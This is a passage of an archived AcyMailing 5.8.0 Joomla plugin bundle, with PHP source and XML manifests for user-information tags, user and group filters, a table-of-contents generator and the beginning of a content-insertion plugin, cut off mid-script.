		$extractedTags = $pluginsHelper->extractTags($email, 'usertag');
		if(empty($extractedTags)) return;

		$tags = array();
		$db = JFactory::getDBO();
		$receivervalues = array();
		foreach($extractedTags as $i => $mytag){
			if(isset($tags[$i])) continue;
			$mytag->default = $this->params->get('default_'.$mytag->id, '');


			$values = new stdClass();
			$idused = 0;
			$save = false;

			if(!empty($mytag->info) && $mytag->info == 'sender' && !empty($email->userid)){
				$idused = $email->userid;
				$save = true;
			}
			if(!empty($mytag->info) && $mytag->info == 'current'){   
				$currentUserid = acymailing_currentUserId();
				if(!empty($currentUserid)) $idused = $currentUserid;
			}
			if((empty($mytag->info) || $mytag->info == 'receiver') && !empty($user->userid)){
				$idused = $user->userid;
			}

			if(!empty($idused) && empty($this->sendervalues[$idused]) && empty($receivervalues[$idused])){
				$db->setQuery('SELECT * FROM '.acymailing_table('users', false).' WHERE id = '.intval($idused).' LIMIT 1');
				$receivervalues[$idused] = $db->loadObject();

				if(ACYMAILING_J16){
					$db->setQuery('SELECT * FROM #__user_profiles WHERE user_id = '.intval($idused));
					$receivervalues[$idused]->extraFields = $db->loadObjectList('profile_key');
				}

				if($save) $this->sendervalues[$idused] = $receivervalues[$idused];
			}


			if(!empty($this->sendervalues[$idused])){
				$values = $this->sendervalues[$idused];
			}elseif(!empty($receivervalues[$idused])) $values = $receivervalues[$idused];

			if($mytag->id == 'usertype' && ACYMAILING_J16){
				if(empty($this->acyuserHelper)) $this->acyuserHelper = acymailing_get('helper.acyuser');
				$groups = $this->acyuserHelper->getUserGroups($idused);
				$allGroups = array();
				foreach($groups as $oneGroup) $allGroups[] = $oneGroup->title;
				$values->usertype = implode(', ', $allGroups);
			}

			if(empty($mytag->type) || $mytag->type != 'extra'){
				$replaceme = isset($values->{$mytag->id}) ? $values->{$mytag->id} : $mytag->default;
			}else{
				$replaceme = isset($values->extraFields[$mytag->id]) ? trim(json_decode($values->extraFields[$mytag->id]->profile_value), '"') : $mytag->default;
			}

			$tags[$i] = $replaceme;
			$pluginsHelper->formatString($tags[$i], $mytag);
		}

		$pluginsHelper->replaceTags($email, $tags);
	}//endfct

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$db = JFactory::getDBO();
		$fields = acymailing_getColumns('#__users');
		if(empty($fields)) return;

		$type['joomlafield'] = acymailing_translation('JOOMLA_FIELD');
		$type['joomlagroup'] = acymailing_translation('ACY_GROUP');

		$field = array();
		$field[] = acymailing_selectOption(0, '- - -');
		foreach($fields as $oneField => $fieldType){
			$field[] = acymailing_selectOption($oneField, $oneField);
		}

		if(ACYMAILING_J16){
			$db->setQuery('SELECT DISTINCT `profile_key` FROM `#__user_profiles`');
			$extraFields = $db->loadObjectList();
			if(!empty($extraFields)){
				foreach($extraFields as $oneField){
					$field[] = acymailing_selectOption('customfield_'.$oneField->profile_key, $oneField->profile_key);
				}
			}
		}

		$jsOnChange = "displayCondFilter('displayUserValues', 'toChange__num__',__num__,'map='+document.getElementById('filter__num__joomlafieldmap').value+'&cond='+document.getElementById('filter__num__joomlafieldoperator').value+'&value='+document.getElementById('filter__num__joomlafieldvalue').value); ";

		$operators = acymailing_get('type.operators');
		$operators->extra = 'onchange="'.$jsOnChange.'countresults(__num__)"';

		$return = '<div id="filter__num__joomlafield">'.acymailing_select($field, "filter[__num__][joomlafield][map]", 'class="inputbox" size="1" onchange="'.$jsOnChange.'countresults(__num__)"', 'value', 'text');
		$return .= ' '.$operators->display("filter[__num__][joomlafield][operator]").' <span id="toChange__num__"><input onchange="countresults(__num__)" class="inputbox" type="text" name="filter[__num__][joomlafield][value]" id="filter__num__joomlafieldvalue" style="width:200px" value=""></span></div>';

		if(!ACYMAILING_J16){
			$acl = JFactory::getACL();
			$groups = $acl->get_group_children_tree(null, 'USERS', false);
		}else{
			$db = JFactory::getDBO();
			$db->setQuery('SELECT a.*, a.title as text, a.id as value FROM #__usergroups AS a ORDER BY a.lft ASC');
			$groups = $db->loadObjectList('id');
			foreach($groups as $id => $group){
				if(isset($groups[$group->parent_id])){
					$groups[$id]->level = empty($groups[$group->parent_id]->level) ? 1 : intval($groups[$group->parent_id]->level + 1);
					$groups[$id]->text = str_repeat('- - ', $groups[$id]->level).$groups[$id]->text;
				}
			}
		}

		$inoperator = acymailing_get('type.operatorsin');
		$inoperator->js = 'onchange="countresults(__num__)"';

		$return .= '<div id="filter__num__joomlagroup">'.$inoperator->display("filter[__num__][joomlagroup][type]").' '.acymailing_select($groups, "filter[__num__][joomlagroup][group]", 'class="inputbox" size="1" onchange="countresults(__num__)"', 'value', 'text').'<label for="filter__num__joomlagroupsubgroups"><input type="checkbox" value="1" id="filter__num__joomlagroupsubgroups" name="filter[__num__][joomlagroup][subgroups]" onchange="countresults(__num__)"/>'.acymailing_translation('ACY_SUB_GROUPS').'</label></div>';

		return $return;
	}

	function onAcyTriggerFct_displayUserValues(){
		$num = acymailing_getVar('int', 'num');
		$map = acymailing_getVar('cmd', 'map');
		$cond = acymailing_getVar('string', 'cond', '', '', JREQUEST_ALLOWHTML);
		$value = acymailing_getVar('string', 'value', '', '', JREQUEST_ALLOWHTML);

		$emptyInputReturn = '<input onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][joomlafield][value]" id="filter'.$num.'joomlafieldvalue" style="width:200px" value="'.$value.'">';
		$dateInput = '<input onclick="displayDatePicker(this,event)" onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][joomlafield][value]" id="filter'.$num.'joomlafieldvalue" style="width:200px" value="'.$value.'">';

		if(in_array($map, array('registerDate', 'lastvisitDate', 'lastResetTime'))) return $dateInput;

		if(empty($map) || in_array($map, array('password', 'params', 'optKey', 'otep')) || !in_array($cond, array('=', '!='))) return $emptyInputReturn;

		$db = JFactory::getDBO();
		$db->setQuery('SELECT DISTINCT `'.acymailing_secureField($map).'` AS value FROM #__users LIMIT 100');
		$prop = $db->loadObjectList();

		if(empty($prop) || count($prop) >= 100 || (count($prop) == 1 && (empty($prop[0]->value) || $prop[0]->value == '-'))) return $emptyInputReturn;

		return acymailing_select($prop, "filter[$num][joomlafield][value]", 'onchange="countresults('.$num.')" class="inputbox" size="1" style="width:200px"', 'value', 'value', $value, 'filter'.$num.'joomlafieldvalue');
	}

	function onAcyProcessFilterCount_joomlafield(&$query, $filter, $num){
		$this->onAcyProcessFilter_joomlafield($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyDisplayFilter_joomlafield($filter){
		return acymailing_translation('JOOMLA_FIELD').' : '.$filter['map'].' '.$filter['operator'].' '.$filter['value'];
	}


	function onAcyProcessFilter_joomlafield(&$query, $filter, $num){
		if(empty($filter['map'])) return;
		$type = '';
		if(strpos($filter['map'], 'customfield_') !== false){
			$query->leftjoin['joomlauserprofiles'.$num] = '#__user_profiles AS joomlauserprofiles'.$num.' ON joomlauserprofiles'.$num.'.user_id = sub.userid AND joomlauserprofiles'.$num.'.profile_key = '.$query->db->Quote(str_replace('customfield_', '', $filter['map']));
			$val = trim($filter['value'], '"');
			if(in_array($filter['operator'], array('=', '!=', '<', '>', '<=', '>=', 'BEGINS', 'LIKE', 'NOT LIKE'))){
				$val = '"'.$val;
			}
			if(in_array($filter['operator'], array('=', '!=', '<', '>', '<=', '>=', 'END', 'LIKE', 'NOT LIKE'))){
				$val = $val.'"';
			}

			$query->where[] = $query->convertQuery('joomlauserprofiles'.$num, 'profile_value', $filter['operator'], $val, $type);
		}else{
			$query->leftjoin['joomlauser'.$num] = '#__users AS joomlauser'.$num.' ON joomlauser'.$num.'.id = sub.userid';
			if(in_array($filter['map'], array('registerDate', 'lastvisitDate'))){
				$filter['value'] = acymailing_replaceDate($filter['value']);
				if(!is_numeric($filter['value']) && strtotime($filter['value']) !== false) $filter['value'] = strtotime($filter['value']);
				if(is_numeric($filter['value'])) $filter['value'] = strftime('%Y-%m-%d %H:%M:%S', $filter['value']);
				$type = 'datetime';
			}
			$query->where[] = $query->convertQuery('joomlauser'.$num, $filter['map'], $filter['operator'], $filter['value'], $type);
		}
	}

	function onAcyProcessFilterCount_joomlagroup(&$query, $filter, $num){
		$this->onAcyProcessFilter_joomlagroup($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilter_joomlagroup(&$query, $filter, $num){
		$operator = (empty($filter['type']) || $filter['type'] == 'IN') ? 'IS NOT NULL AND joomlauser'.$num.'.'.(ACYMAILING_J16 ? 'user_' : '').'id != 0' : "IS NULL";
		$filter['group'] = intval($filter['group']);

		if(!empty($filter['subgroups'])){
			$db = JFactory::getDBO();
			$groupTable = ACYMAILING_J16 ? 'usergroups' : 'core_acl_aro_groups';
			$db->setQuery('SELECT lft, rgt FROM #__'.$groupTable.' WHERE id = '.$filter['group']);
			$lftrgt = $db->loadObject();
			$db->setQuery('SELECT id FROM #__'.$groupTable.' WHERE lft > '.$lftrgt->lft.' AND rgt < '.$lftrgt->rgt);
			$allGroups = acymailing_loadResultArray($db);
			array_unshift($allGroups, $filter['group']);
			$value = ' IN ('.implode(', ', $allGroups).')';
		}else{
			$value = ' = '.$filter['group'];
		}

		if(!ACYMAILING_J16){
			$query->leftjoin['joomlauser'.$num] = "#__users AS joomlauser$num ON joomlauser$num.id = sub.userid AND joomlauser$num.gid".$value;
			$query->where[] = "joomlauser$num.id ".$operator;
		}else{
			$query->leftjoin['joomlauser'.$num] = "#__user_usergroup_map AS joomlauser$num ON joomlauser$num.user_id = sub.userid AND joomlauser$num.group_id".$value;
			$query->where[] = "joomlauser$num.user_id ".$operator;
		}
	}
}//endclass
                                                                           acymailing/taguser/taguser.xml                                                                      0000705                 00000004555 15242051520 0012532 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Joomla User Information</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add informations of the Joomla user in the Newsletter</description>
	<files>
		<filename plugin="taguser">taguser.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-taguser"/>
		<param name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the user fields filter and group filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-taguser"/>
				<field name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the user fields filter and group filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                   acymailing/tablecontents/index.html                                                                 0000705                 00000000054 15242051520 0013514 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/tablecontents/tablecontents.php                                                          0000705                 00000021506 15242051520 0015102 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
defined('_JEXEC') or die('Restricted access');

class plgAcymailingTablecontents extends JPlugin{

	var $noResult = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tablecontents');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('ACY_TABLECONTENTS');
		$onePlugin->function = 'acymailingtablecontents_show';
		$onePlugin->help = 'plugin-tablecontents';

		return $onePlugin;
	}

	function acymailingtablecontents_show(){

		$contenttype = array();
		$contenttype[] = acymailing_selectOption('', acymailing_translation('ACY_EXISTINGANCHOR'));
		for($i = 1; $i < 6; $i++){
			$contenttype[] = acymailing_selectOption("|type:h".$i, 'H'.$i);
		}
		$contenttype[] = acymailing_selectOption('class', acymailing_translation('CLASS_NAME'));

		$contentsubtype = array();
		$contentsubtype[] = acymailing_selectOption('', acymailing_translation('ACY_NONE'));
		for($i = 1; $i < 6; $i++){
			$contentsubtype[] = acymailing_selectOption("|subtype:h".$i, 'H'.$i);
		}
		$contentsubtype[] = acymailing_selectOption('class', acymailing_translation('CLASS_NAME'));

		?>

		<script language="javascript" type="text/javascript">
			<!--
			function updateTag(){
				var tag = '{tableofcontents';
				if(document.adminForm.contenttype.value){
					if(document.adminForm.contenttype.value == 'class'){
						document.adminForm.classvalue.style.display = '';
						tag += '|class:' + document.adminForm.classvalue.value;
					}else{
						document.adminForm.classvalue.style.display = 'none';
						tag += document.adminForm.contenttype.value;
					}
				}
				if(document.adminForm.contentsubtype.value){
					if(document.adminForm.contentsubtype.value == 'class'){
						document.adminForm.subclassvalue.style.display = '';
						tag += '|subclass:' + document.adminForm.subclassvalue.value;
					}else{
						document.adminForm.subclassvalue.style.display = 'none';
						tag += document.adminForm.contentsubtype.value;
					}
				}
				tag += '}';

				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('ACY_GENERATEANCHOR'); ?></span>
			<table width="100%" class="acymailing_table">
				<tr>
					<td><?php echo acymailing_translation_sprintf('ACY_LEVEL', 1)?></td>
					<td><?php echo acymailing_select($contenttype, 'contenttype', 'size="1" onchange="updateTag();"', 'value', 'text'); ?><input type="text" style="display:none" onchange="updateTag();" name="classvalue"/></td>
				</tr>
				<tr>
					<td><?php echo acymailing_translation_sprintf('ACY_LEVEL', 2)?></td>
					<td><?php echo acymailing_select($contentsubtype, 'contentsubtype', 'size="1" onchange="updateTag();"', 'value', 'text'); ?><input type="text" style="display:none" onchange="updateTag();" name="subclassvalue"/></td>
				</tr>
			</table>
		</div>
		<?php
		acymailing_addScript(true, "document.addEventListener(\"DOMContentLoaded\", function(){ updateTag(); });");
	}


	function acymailing_replaceusertags(&$email, &$user, $send = true){

		if(isset($this->noResult[intval($email->mailid)])) return;

		$match = '#{tableofcontents(.*)}#Ui';

		$variables = array('subject', 'body', 'altbody');

		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found){
			$this->noResult[intval($email->mailid)] = true;
			return;
		}

		$mailerHelper = acymailing_get('helper.mailer');

		$htmlreplace = array();
		$textreplace = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($htmlreplace[$oneTag])) continue;

				$article = $this->_generateTable($allresults, $i, $email);
				$htmlreplace[$oneTag] = $article;
				$textreplace[$oneTag] = $mailerHelper->textVersion($article);
				$subjectreplace[$oneTag] = strip_tags($article);
			}
		}
		$email->body = str_replace(array_keys($htmlreplace), $htmlreplace, $email->body);
		$email->altbody = str_replace(array_keys($textreplace), $textreplace, $email->altbody);
		$email->subject = str_replace(array_keys($subjectreplace), $subjectreplace, $email->subject);
	}

	function _generateTable(&$results, $i, &$email){

		$arguments = explode('|', strip_tags($results[1][$i]));
		$tag = new stdClass();
		$tag->divider = $this->params->get('divider', 'br');
		$tag->before = '';
		$tag->after = '';
		$tag->subdivider = $this->params->get('divider', 'br');
		$tag->subbefore = '';
		$tag->subafter = '';
		for($i = 1, $a = count($arguments); $i < $a; $i++){
			$args = explode(':', $arguments[$i]);
			if(isset($args[1])){
				$tag->{$args[0]} = $args[1];
			}else{
				$tag->{$args[0]} = true;
			}
		}

		if($tag->divider == 'br'){
			$tag->divider = '<br />';
			$tag->subbefore = $tag->subdivider = '<br /> - ';
		}elseif($tag->divider == 'space'){
			$tag->subdivider = ', ';
			$tag->divider = ' ';
			$tag->subbefore = ' ( ';
			$tag->subafter = ' ) ';
		}elseif($tag->divider == 'li'){
			$tag->subdivider = $tag->divider = '</li><li>';
			$tag->subbefore = $tag->before = '<ul><li>';
			$tag->subafter = $tag->after = '</li></ul>';
		}

		$this->updateMail = array();
		$this->links = array();
		$this->sublinks = array();
		$anchorLinks = $this->_findLinks($tag, $email);
		if(!empty($tag->subtype) || !empty($tag->subclass)){
			$anchorSubLinks = $this->_findLinks($tag, $email, true);
			if(empty($this->links)){
				$this->links = $this->sublinks;
				unset($this->sublinks);
			}
		}

		$links = $this->links;
		if(!empty($tag->limit)){
			$links = array_slice($links, 0, $tag->limit);
		}

		if(empty($links)) return '';
		if(!empty($this->updateMail)) $email->body = str_replace(array_keys($this->updateMail), $this->updateMail, $email->body);

		if(!empty($this->sublinks)){
			$sublinks = $this->sublinks;
			foreach($links as $ilink => $oneLink){
				$allsublinks = array();
				$from = $anchorLinks['pos'][$ilink];
				$to = empty($anchorLinks['pos'][$ilink + 1]) ? 9999999999999 : $anchorLinks['pos'][$ilink + 1];
				foreach($sublinks as $isublink => $oneSubLink){
					if($anchorSubLinks['pos'][$isublink] > $to) break;
					if($anchorSubLinks['pos'][$isublink] > $from) $allsublinks[] = $oneSubLink;
				}
				if(!empty($allsublinks)) $links[$ilink] = $links[$ilink].$tag->subbefore.implode($tag->subdivider, $allsublinks).$tag->subafter;
			}
		}

		$result = '<div class="tableofcontents">'.$tag->before.implode($tag->divider, $links).$tag->after.'</div>';
		if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'tablecontents.php')){
			ob_start();
			require(ACYMAILING_MEDIA.'plugins'.DS.'tablecontents.php');
			$result = ob_get_clean();
		}
		return $result;
	}

	function _findLinks(&$tag, &$email, $sub = false){
		if($sub){
			$varType = 'subtype';
			$varClass = 'subclass';
			$varLink = &$this->sublinks;
		}else{
			$varType = 'type';
			$varClass = 'class';
			$varLink = &$this->links;
		}
		if(!empty($tag->$varType)){
			preg_match_all('#<'.$tag->$varType.'[^>]*>((?!</ *'.$tag->$varType.'>).)*</ *'.$tag->$varType.'>#Uis', $email->body, $anchorresults);
		}elseif(!empty($tag->class)){
			preg_match_all('#<[^>]*class="'.$tag->$varClass.'"[^>]*>(<[^>]*>|[^<>])*</.*>#Uis', $email->body, $anchorresults);
			$tag->$varType = 'item';
		}else{
			preg_match_all('#<a[^>]*name="([^">]*)"[^>]*>((?!</ *a>).)*</ *a>#Uis', $email->body, $anchorresults);
		}

		if(empty($anchorresults)) return '';


		foreach($anchorresults[0] as $i => $oneContent){
			$anchorresults['pos'][$i] = strpos($email->body, $oneContent);
			$linktext = strip_tags($oneContent);
			if(empty($linktext)) continue;
			if(empty($tag->$varType)){
				$varLink[$i] = '<a href="#'.$anchorresults[1][$i].'" class="oneitem" >'.$linktext.'</a>';
			}else{
				$varLink[$i] = '<a href="#'.$tag->$varType.$i.'" class="oneitem oneitem'.$tag->$varType.'" >'.$linktext.'</a>';
				if(preg_match('#<a[^>]*>[^<]*'.preg_quote($oneContent, '#').'#Uis', $email->body, $linkBefore)){
					$this->updateMail[$linkBefore[0]] = '<a name="'.$tag->$varType.$i.'"></a>'.$linkBefore[0];
				}else{
					$this->updateMail[$oneContent] = '<a name="'.$tag->$varType.$i.'"></a>'.$oneContent;
				}
			}
		}

		return $anchorresults;
	}
}//endclass
                                                                                                                                                                                          acymailing/tablecontents/tablecontents.xml                                                          0000705                 00000003264 15242051520 0015114 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing table of contents generator</name>
	<creationDate>January 2011</creationDate>
	<version>1.0.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to generate table of contents</description>
	<files>
		<filename plugin="tablecontents">tablecontents.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tablecontents"/>
		<param name="divider" type="radio" default="br" label="Divider" description="Separator added between each link">
			<option value="br">Carriage return</option>
			<option value="space">Space</option>
			<option value="li">ul / li</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tablecontents"/>
				<field name="divider" type="radio" default="br" label="Divider" description="Separator added between each link">
					<option value="br">Carriage return</option>
					<option value="space">Space</option>
					<option value="li">ul / li</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                            acymailing/tagcontent/tagcontent.php                                                                0000705                 00000174742 15242051520 0013717 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php defined('_JEXEC') or die('Restricted access'); ?>
<?php

class plgAcymailingTagcontent extends JPlugin{
	public function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagcontent');
			$this->params = new acyParameter($plugin->params);
		}
		$this->db = JFactory::getDBO();
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
	}

	public function acymailing_getPluginType(){
		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;

		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('JOOMLA_CONTENT');
		$onePlugin->function = 'acymailingtagcontent_show';
		$onePlugin->help = 'plugin-tagcontent';

		return $onePlugin;
	}

	public function acymailingtagcontent_show(){

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		acymailing_loadLanguageFile('com_content', JPATH_SITE);

		$paramBase = ACYMAILING_COMPONENT.'.tagcontent';
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.id', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$pageInfo->filter_cat = acymailing_getUserVar($paramBase.".filter_cat", 'filter_cat', '', 'int');
		$pageInfo->contenttype = acymailing_getUserVar($paramBase.".contenttype", 'contenttype', $this->params->get('default_type', 'intro'), 'string');
		$pageInfo->author = acymailing_getUserVar($paramBase.".author", 'author', $this->params->get('default_author', '0'), 'string');
		$pageInfo->titlelink = acymailing_getUserVar($paramBase.".titlelink", 'titlelink', $this->params->get('default_titlelink', 'link'), 'string');
		$pageInfo->lang = acymailing_getUserVar($paramBase.".lang", 'lang', '', 'string');
		$pageInfo->pict = acymailing_getUserVar($paramBase.".pict", 'pict', $this->params->get('default_pict', 1), 'string');
		$pageInfo->pictheight = acymailing_getUserVar($paramBase.".pictheight", 'pictheight', $this->params->get('maxheight', 150), 'string');
		$pageInfo->pictwidth = acymailing_getUserVar($paramBase.".pictwidth", 'pictwidth', $this->params->get('maxwidth', 150), 'string');


		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$picts = array();
		$picts[] = acymailing_selectOption("1", acymailing_translation('JOOMEXT_YES'));
		$pictureHelper = acymailing_get('helper.acypict');
		if($pictureHelper->available()) $picts[] = acymailing_selectOption("resized", acymailing_translation('RESIZED'));
		$picts[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$contenttype = array();
		$contenttype[] = acymailing_selectOption("title", acymailing_translation('TITLE_ONLY'));
		$contenttype[] = acymailing_selectOption("intro", acymailing_translation('INTRO_ONLY'));
		$contenttype[] = acymailing_selectOption("text", acymailing_translation('FIELD_TEXT'));
		$contenttype[] = acymailing_selectOption("full", acymailing_translation('FULL_TEXT'));

		$titlelink = array();
		$titlelink[] = acymailing_selectOption("link", acymailing_translation('JOOMEXT_YES'));
		$titlelink[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$authorname = array();
		$authorname[] = acymailing_selectOption("author", acymailing_translation('JOOMEXT_YES'));
		$authorname[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$searchFields = array('a.id', 'a.title', 'a.alias', 'a.created_by', 'b.name', 'b.username');
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $searchFields)." LIKE $searchVal";
		}

		if(!empty($pageInfo->filter_cat)){
			$filters[] = "a.catid = ".$pageInfo->filter_cat;
		}

		if($this->params->get('displayart', 'all') == 'onlypub'){
			$filters[] = "a.state = 1";
		}else{
			$filters[] = "a.state != -2";
		}

		if(!acymailing_isAdmin()){
			$my = JFactory::getUser();

			if(!ACYMAILING_J16){
				$filters[] = 'a.`access` <= '.(int)$my->get('aid');
			}else{
				$groups = implode(',', $my->getAuthorisedViewLevels());
				$filters[] = 'a.`access` IN ('.$groups.')';
			}
		}

		if($this->params->get('frontendaccess') == 'author' && !acymailing_isAdmin()){
			$filters[] = "a.created_by = ".intval(acymailing_currentUserId());
		}

		$whereQuery = '';
		if(!empty($filters)){
			$whereQuery = ' WHERE ('.implode(') AND (', $filters).')';
		}

		$query = 'SELECT SQL_CALC_FOUND_ROWS a.*,b.name,b.username,a.created_by FROM '.acymailing_table('content', false).' as a';
		$query .= ' LEFT JOIN `#__users` AS b ON b.id = a.created_by';
		if(!empty($whereQuery)) $query .= $whereQuery;
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		$this->db->setQuery($query, $pageInfo->limit->start, $pageInfo->limit->value);
		$rows = $this->db->loadObjectList();

		if(!empty($pageInfo->search)){
			$rows = acymailing_search($pageInfo->search, $rows);
		}

		$this->db->setQuery('SELECT FOUND_ROWS()');
		$pageInfo->elements->total = $this->db->loadResult();
		$pageInfo->elements->page = count($rows);

		if(!ACYMAILING_J16){
			$query = 'SELECT a.id, a.id as catid, a.title as category, b.title as section, b.id as secid from #__categories as a ';
			$query .= 'INNER JOIN #__sections as b on a.section = b.id ORDER BY b.ordering,a.ordering';

			$this->db->setQuery($query);
			$categories = $this->db->loadObjectList('id');
			$categoriesValues = array();
			$categoriesValues[] = acymailing_selectOption('', acymailing_translation('ACY_ALL'));
			$currentSec = '';
			foreach($categories as $catid => $oneCategorie){
				if($currentSec != $oneCategorie->section){
					if(!empty($currentSec)) $this->values[] = acymailing_selectOption('</OPTGROUP>');
					$categoriesValues[] = acymailing_selectOption('<OPTGROUP>', $oneCategorie->section);
					$currentSec = $oneCategorie->section;
				}
				$categoriesValues[] = acymailing_selectOption($catid, $oneCategorie->category);
			}
		}else{
			$query = "SELECT * from #__categories WHERE `extension` = 'com_content' ORDER BY lft ASC";

			$this->db->setQuery($query);
			$categories = $this->db->loadObjectList('id');
			$categoriesValues = array();
			$categoriesValues[] = acymailing_selectOption('', acymailing_translation('ACY_ALL'));
			foreach($categories as $catid => $oneCategorie){
				$categories[$catid]->title = str_repeat('- - ', $categories[$catid]->level).$categories[$catid]->title;
				$categoriesValues[] = acymailing_selectOption($catid, $categories[$catid]->title);
			}
		}

		jimport('joomla.html.pagination');
		$pagination = new JPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$tabs = acymailing_get('helper.acytabs');
		echo $tabs->startPane('joomlacontent_tab');
		echo $tabs->startPanel(acymailing_translation('JOOMLA_CONTENT'), 'joomlacontent_content');

		?>
		<script language="javascript" type="text/javascript">
			<!--
			var selectedContents = new Array();
			function applyContent(contentid, rowClass){
				var tmp = selectedContents.indexOf(contentid)
				if(tmp != -1){
					window.document.getElementById('content' + contentid).className = rowClass;
					delete selectedContents[tmp];
				}else{
					window.document.getElementById('content' + contentid).className = 'selectedrow';
					selectedContents.push(contentid);
				}
				updateTag();
			}

			function updateTag(){
				var tag = '';
				var otherinfo = '';
